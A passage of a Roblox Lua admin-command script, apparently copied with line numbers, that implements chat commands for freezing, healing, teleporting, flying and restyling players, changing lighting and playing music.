local plrz = GetPlr(plr, msg:lower():sub(8))
1115
for i, v in pairs(plrz) do
1116
coroutine.resume(coroutine.create(function()
1117
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1118
for a, obj in pairs(v.Character:children()) do 
1119
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1120
end
1121
end
1122
end))
1123
end
1124
end
1125
1126
if msg:lower():sub(1,5) == "thaw " then
1127
local plrz = GetPlr(plr, msg:lower():sub(6))
1128
for i, v in pairs(plrz) do
1129
coroutine.resume(coroutine.create(function()
1130
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1131
for a, obj in pairs(v.Character:children()) do 
1132
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1133
end
1134
end
1135
end))
1136
end
1137
end
1138
1139
if msg:lower():sub(1,5) == "heal " then
1140
local plrz = GetPlr(plr, msg:lower():sub(6))
1141
for i, v in pairs(plrz) do
1142
coroutine.resume(coroutine.create(function()
1143
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1144
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1145
end
1146
end))
1147
end
1148
end
1149
1150
if msg:lower():sub(1,4) == "god " then
1151
local plrz = GetPlr(plr, msg:lower():sub(5))
1152
for i, v in pairs(plrz) do
1153
coroutine.resume(coroutine.create(function()
1154
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1155
v.Character.Humanoid.MaxHealth = math.huge
1156
v.Character.Humanoid.Health = 9e9
1157
end
1158
end))
1159
end
1160
end
1161
1162
if msg:lower():sub(1,6) == "ungod " then
1163
local plrz = GetPlr(plr, msg:lower():sub(7))
1164
for i, v in pairs(plrz) do
1165
coroutine.resume(coroutine.create(function()
1166
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1167
v.Character.Humanoid.MaxHealth = 100
1168
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1169
end
1170
end))
1171
end
1172
end
1173
1174
if msg:lower():sub(1,8) == "ambient " then
1175
local chk1 = msg:lower():sub(9):find(" ") + 8
1176
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1177
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1178
end
1179
1180
if msg:lower():sub(1,11) == "brightness " then
1181
game.Lighting.Brightness = msg:sub(12)
1182
end
1183
1184
if msg:lower():sub(1,5) == "time " then
1185
game.Lighting.TimeOfDay = msg:sub(6)
1186
end
1187
1188
if msg:lower():sub(1,9) == "fogcolor " then
1189
local chk1 = msg:lower():sub(10):find(" ") + 9
1190
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1191
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1192
end
1193
1194
if msg:lower():sub(1,7) == "fogend " then
1195
game.Lighting.FogEnd = msg:sub(8)
1196
end
1197
1198
if msg:lower():sub(1,9) == "fogstart " then
1199
game.Lighting.FogStart = msg:sub(10)
1200
end
1201
1202
if msg:lower():sub(1,7) == "btools " then
1203
local plrz = GetPlr(plr, msg:lower():sub(8))
1204
for i, v in pairs(plrz) do
1205
coroutine.resume(coroutine.create(function()
1206
if v and v:findFirstChild("Backpack") then 
1207
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1208
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1209
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1210
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1211
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1212
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1213
local sb
1214
local hs
1215
local pdist
1216
1217
script.Parent.Selected:connect(function(mouse)
1218
if not mouse then return end
1219
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1220
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1221
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1222
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1223
hs.MouseButton1Down:connect(function() pdist = 0 end)
1224
end)
1225
1226
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1227
end
1228
end))
1229
end
1230
end
1231
1232
if msg:lower():sub(1,12) == "startergive " then
1233
local chk1 = msg:lower():sub(13):find(" ") + 12
1234
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1235
for i, v in pairs(plrz) do
1236
coroutine.resume(coroutine.create(function()
1237
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
1238
for a, tool in pairs(game.Lighting:children()) do
1239
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1240
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1241
end
1242
end
1243
end
1244
end))
1245
end
1246
end
1247
1248
if msg:lower():sub(1,5) == "give " then
1249
local chk1 = msg:lower():sub(6):find(" ") + 5
1250
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1251
for i, v in pairs(plrz) do
1252
coroutine.resume(coroutine.create(function()
1253
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1254
for a, tool in pairs(game.Lighting:children()) do
1255
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1256
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1257
end
1258
end
1259
end
1260
end))
1261
end
1262
end
1263
1264
if msg:lower():sub(1,12) == "removetools " then
1265
local plrz = GetPlr(plr, msg:lower():sub(13))
1266
for i, v in pairs(plrz) do
1267
coroutine.resume(coroutine.create(function()
1268
if v and v.Character and v:findFirstChild("Backpack") then 
1269
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1270
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1271
end
1272
end))
1273
end
1274
end
1275
1276
if msg:lower():sub(1,5) == "rank " then
1277
local chk1 = msg:lower():sub(6):find(" ") + 5
1278
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1279
for i, v in pairs(plrz) do
1280
coroutine.resume(coroutine.create(function()
1281
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1282
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1283
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1284
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1285
end
1286
end))
1287
end
1288
end
1289
1290
if msg:lower():sub(1,7) == "damage " then
1291
local chk1 = msg:lower():sub(8):find(" ") + 7
1292
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1293
for i, v in pairs(plrz) do
1294
coroutine.resume(coroutine.create(function()
1295
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1296
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1297
end
1298
end))
1299
end
1300
end
1301
1302
if msg:lower():sub(1,5) == "grav " then
1303
local plrz = GetPlr(plr, msg:lower():sub(6))
1304
for i, v in pairs(plrz) do
1305
coroutine.resume(coroutine.create(function()
1306
if v and v.Character and v.Character:findFirstChild("Torso") then 
1307
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1308
end
1309
end))
1310
end
1311
end
1312
1313
if msg:lower():sub(1,8) == "setgrav " then
1314
local chk1 = msg:lower():sub(9):find(" ") + 8
1315
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1316
for i, v in pairs(plrz) do
1317
coroutine.resume(coroutine.create(function()
1318
if v and v.Character and v.Character:findFirstChild("Torso") then 
1319
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1320
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1321
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1322
end
1323
end))
1324
end
1325
end
1326
1327
if msg:lower():sub(1,7) == "nograv " then
1328
local plrz = GetPlr(plr, msg:lower():sub(8))
1329
for i, v in pairs(plrz) do
1330
coroutine.resume(coroutine.create(function()
1331
if v and v.Character and v.Character:findFirstChild("Torso") then 
1332
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1333
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1334
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1335
end
1336
end))
1337
end
1338
end
1339
1340
if msg:lower():sub(1,7) == "health " then
1341
local chk1 = msg:lower():sub(8):find(" ") + 7
1342
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1343
for i, v in pairs(plrz) do
1344
coroutine.resume(coroutine.create(function()
1345
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1346
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1347
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1348
end
1349
end))
1350
end
1351
end
1352
1353
if msg:lower():sub(1,6) == "speed " then
1354
local chk1 = msg:lower():sub(7):find(" ") + 6
1355
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1356
for i, v in pairs(plrz) do
1357
coroutine.resume(coroutine.create(function()
1358
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1359
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1360
end
1361
end))
1362
end
1363
end
1364
1365
if msg:lower():sub(1,5) == "team " then
1366
local chk1 = msg:lower():sub(6):find(" ") + 5
1367
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1368
for i, v in pairs(plrz) do
1369
coroutine.resume(coroutine.create(function()
1370
if v and game:findFirstChild("Teams") then 
1371
for a, tm in pairs(game.Teams:children()) do
1372
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1373
end
1374
end
1375
end))
1376
end
1377
end
1378
1379
if msg:lower():sub(1,6) == "place " then
1380
local chk1 = msg:lower():sub(7):find(" ") + 6
1381
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1382
for i, v in pairs(plrz) do
1383
coroutine.resume(coroutine.create(function()
1384
if v and v:findFirstChild("PlayerGui") then 
1385
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1386
end
1387
end))
1388
end
1389
end
1390
1391
if msg:lower():sub(1,3) == "tp " then
1392
local chk1 = msg:lower():sub(4):find(" ") + 3
1393
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1394
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1395
for i, v in pairs(plrz) do
1396
coroutine.resume(coroutine.create(function()
1397
for i2, v2 in pairs(plrz2) do
1398
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1399
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1400
end
1401
end
1402
end))
1403
end
1404
end
1405
1406
if msg:lower():sub(1,7) == "change " then
1407
local chk1 = msg:lower():sub(8):find(" ") + 7
1408
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1409
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1410
for i, v in pairs(plrz) do
1411
coroutine.resume(coroutine.create(function()
1412
if v and v:findFirstChild("leaderstats") then 
1413
for a, st in pairs(v.leaderstats:children()) do
1414
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1415
end
1416
end
1417
end))
1418
end
1419
end
1420
1421
if msg:lower():sub(1,6) == "shirt " then
1422
local chk1 = msg:lower():sub(7):find(" ") + 6
1423
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1424
for i, v in pairs(plrz) do
1425
coroutine.resume(coroutine.create(function()
1426
if v and v.Character then 
1427
for i,v in pairs(v.Character:children()) do
1428
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1429
end
1430
end
1431
end))
1432
end
1433
end
1434
1435
if msg:lower():sub(1,6) == "pants " then
1436
local chk1 = msg:lower():sub(7):find(" ") + 6
1437
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1438
for i, v in pairs(plrz) do
1439
coroutine.resume(coroutine.create(function()
1440
if v and v.Character then 
1441
for i,v in pairs(v.Character:children()) do
1442
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1443
end
1444
end
1445
end))
1446
end
1447
end
1448
1449
if msg:lower():sub(1,5) == "face " then
1450
local chk1 = msg:lower():sub(6):find(" ") + 5
1451
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1452
for i, v in pairs(plrz) do
1453
coroutine.resume(coroutine.create(function()
1454
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1455
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1456
end
1457
end))
1458
end
1459
end
1460
1461
---------------------
1462
--   FunCommands   --
1463
---------------------
1464
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1465
	
1466
if msg:lower():sub(1,8) == "swagify " then
1467
local plrz = GetPlr(plr, msg:lower():sub(9))
1468
for i, v in pairs(plrz) do
1469
coroutine.resume(coroutine.create(function()
1470
if v and v.Character then
1471
for i,v in pairs(v.Character:children()) do
1472
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1473
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1474
end
1475
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1476
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1477
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1478
local torso = plr.Character.Torso
1479
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1480
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1481
p.Size = Vector3.new(.2,.2,.2)
1482
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1483
local motor1 = Instance.new("Motor", p)
1484
motor1.Part0 = p
1485
motor1.Part1 = torso
1486
motor1.MaxVelocity = .01
1487
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1488
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1489
local wave = false
1490
repeat wait(1/44)
1491
local ang = 0.1
1492
local oldmag = torso.Velocity.magnitude
1493
local mv = .002
1494
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1495
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1496
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1497
motor1.DesiredAngle = -ang
1498
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1499
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1500
if torso.Velocity.magnitude < .1 then wait(.1) end
1501
until not p or p.Parent ~= torso.Parent
1502
script:Destroy()
1503
]] cl.Parent = v.PlayerGui cl.Disabled = false
1504
end
1505
end))
1506
end
1507
end
1508
1509
if msg:lower():sub(1,6) == "music " then
1510
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1511
local id = msg:sub(7)
1512
local pitch = 1
1513
if tostring(id):lower():find("caramell") then id = 2303479 end
1514
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1515
if tostring(id):find("rick") then id = 2027611 end
1516
if tostring(id):find("halo") then id = 1034065  end
1517
if tostring(id):find("pokemon") then id = 1372261 end
1518
if tostring(id):find("cursed") then id = 1372257 end
1519
if tostring(id):find("extreme") then id = 11420933 end
1520
if tostring(id):find("awaken") then id = 27697277 end
1521
if tostring(id):find("alone") then id = 27697392 end
1522
if tostring(id):find("mario") then id = 1280470 end
1523
if tostring(id):find("choir") then id = 1372258 end
1524
if tostring(id):find("chrono") then id = 1280463 end
1525
if tostring(id):find("dotr") then id = 11420922 end
1526
if tostring(id):find("entertain") then id = 27697267 end
1527
if tostring(id):find("fantasy") then id = 1280473 end
1528
if tostring(id):find("final") then id = 1280414 end
1529
if tostring(id):find("emblem") then id = 1372259 end
1530
if tostring(id):find("flight") then id = 27697719 end
1531
if tostring(id):find("banjo") then id = 27697298 end
1532
if tostring(id):find("gothic") then id = 27697743 end
1533
if tostring(id):find("hiphop") then id = 27697735 end
1534
if tostring(id):find("intro") then id = 27697707 end
1535
if tostring(id):find("mule") then id = 1077604 end
1536
if tostring(id):find("film") then id = 27697713 end
1537
if tostring(id):find("nezz") then id = 8610025 end
1538
if tostring(id):find("angel") then id = 1372260 end
1539
if tostring(id):find("resist") then id = 27697234 end
1540
if tostring(id):find("schala") then id = 5985787 end
1541
if tostring(id):find("organ") then id = 11231513 end
1542
if tostring(id):find("tunnel") then id = 9650822 end
1543
if tostring(id):find("spanish") then id = 5982975 end
1544
if tostring(id):find("venom") then id = 1372262 end
1545
if tostring(id):find("wind") then id = 1015394 end
1546
if tostring(id):find("guitar") then id = 5986151 end
1547
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1548
end
1549
1550
if msg:lower() == "stopmusic" then
1551
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1552
end
1553
1554
if msg:lower() == "musiclist" then
1555
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1556
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1557
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1558
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1559
end
1560
1561
if msg:lower():sub(1,4) == "fly " then
1562
local plrz = GetPlr(plr, msg:lower():sub(5))
1563
for i, v in pairs(plrz) do
1564
coroutine.resume(coroutine.create(function()
1565
if v and v:findFirstChild("PlayerGui") then
1566
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1567
local mouse = game.Players.LocalPlayer:GetMouse() 
1568
repeat wait() until mouse
1569
local plr = game.Players.LocalPlayer 
1570
local torso = plr.Character.Torso 
1571
local flying = true
1572
local deb = true 
1573
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1574
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1575
local maxspeed = 50 
1576
local speed = 0 
1577
function Fly() 
1578
local bg = Instance.new("BodyGyro", torso) 
1579
bg.P = 9e4 
1580
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1581
bg.cframe = torso.CFrame 
1582
local bv = Instance.new("BodyVelocity", torso) 
1583
bv.velocity = Vector3.new(0,0.1,0) 
1584
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1585
repeat wait() 
1586
plr.Character.Humanoid.PlatformStand = true 
1587
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1588
speed = speed+.5+(speed/maxspeed) 
1589
if speed > maxspeed then 
1590
speed = maxspeed 
1591
end 
1592
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1593
speed = speed-1 
1594
if speed < 0 then 
1595
speed = 0 
1596
end 
1597
end 
1598
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1599
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1600
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1601
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1602
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1603
else 
1604
bv.velocity = Vector3.new(0,0.1,0) 
1605
end 
1606
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1607
until not flying 
1608
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1609
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1610
speed = 0 
1611
bg:Destroy() 
1612
bv:Destroy() 
1613
plr.Character.Humanoid.PlatformStand = false 
1614
end 
1615
mouse.KeyDown:connect(function(key) 
1616
if key:lower() == "e" then 
1617
if flying then flying = false 
1618
else 
1619
flying = true 
1620
Fly() 
1621
end 
1622
elseif key:lower() == "w" then 
1623
ctrl.f = 1 
1624
elseif key:lower() == "s" then 
1625
ctrl.b = -1 
1626
elseif key:lower() == "a" then 
1627
ctrl.l = -1 
1628
elseif key:lower() == "d" then 
1629
ctrl.r = 1 
1630
end 
1631
end) 
1632
mouse.KeyUp:connect(function(key) 
1633
if key:lower() == "w" then 
1634
ctrl.f = 0 
1635
elseif key:lower() == "s" then 
1636
ctrl.b = 0 
1637
elseif key:lower() == "a" then 
1638
ctrl.l = 0 
1639
elseif key:lower() == "d" then 
1640
ctrl.r = 0 
1641
end 
1642
end)
1643
Fly()]]
1644
cl.Parent = v.PlayerGui cl.Disabled = false
1645
end
1646
end))
1647
end
1648
end
1649
1650
if msg:lower():sub(1,6) == "unfly " then
1651
local plrz = GetPlr(plr, msg:lower():sub(7))
1652
for i, v in pairs(plrz) do
1653
coroutine.resume(coroutine.create(function()
1654
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1655
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1656
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1657
wait(.1) v.Character.Humanoid.PlatformStand = false
1658
end
1659
end))
1660
end
1661
end
1662
1663
if msg:lower() == "disco" then
1664
for i, v in pairs(lobjs) do v:Destroy() end
1665
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1666
game.Lighting.Ambient = color
1667
game.Lighting.FogColor = color
1668
until nil]]
1669
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1670
end
1671
1672
if msg:lower() == "flash" then
1673
for i, v in pairs(lobjs) do v:Destroy() end
1674
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1675
game.Lighting.Ambient = Color3.new(1,1,1)
1676
game.Lighting.FogColor = Color3.new(1,1,1)
1677
game.Lighting.Brightness = 1
1678
game.Lighting.TimeOfDay = 14
1679
wait(.1) 
1680
game.Lighting.Ambient = Color3.new(0,0,0)
1681
game.Lighting.FogColor = Color3.new(0,0,0)
1682
game.Lighting.Brightness = 0
1683
game.Lighting.TimeOfDay = 0
1684
until nil]]
1685
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1686
end
1687
1688
if msg:lower():sub(1,5) == "spin " then
1689
local plrz = GetPlr(plr, msg:lower():sub(6))
1690
for i, v in pairs(plrz) do
1691
coroutine.resume(coroutine.create(function()
1692
if v and v.Character and v.Character:findFirstChild("Torso") then
1693
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1694
local torso = v.Character:findFirstChild("Torso")
1695
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1696
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1697
until not bg or bg.Parent ~= torso
1698
end
1699
end))
1700
end
1701
end
1702
1703
if msg:lower():sub(1,7) == "unspin " then
1704
local plrz = GetPlr(plr, msg:lower():sub(8))
1705
for i, v in pairs(plrz) do
1706
coroutine.resume(coroutine.create(function()
1707
if v and v.Character and v.Character:findFirstChild("Torso") then
1708
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1709
end
1710
end))
1711
end
1712
end
1713
1714
if msg:lower():sub(1,4) == "dog " then
1715
local plrz = GetPlr(plr, msg:lower():sub(5))
1716
for i, v in pairs(plrz) do
1717
coroutine.resume(coroutine.create(function()
1718
if v and v.Character and v.Character:findFirstChild("Torso") then
1719
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1720
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1721
v.Character.Torso.Transparency = 1
1722
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1723
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1724
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1725
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1726
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1727
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1728
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1729
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1730
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1731
end
1732
end))
1733
end
1734
end
1735
1736
if msg:lower():sub(1,6) == "undog " then
1737
local plrz = GetPlr(plr, msg:lower():sub(7))
1738
for i, v in pairs(plrz) do
1739
coroutine.resume(coroutine.create(function()
1740
if v and v.Character and v.Character:findFirstChild("Torso") then
1741
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1742
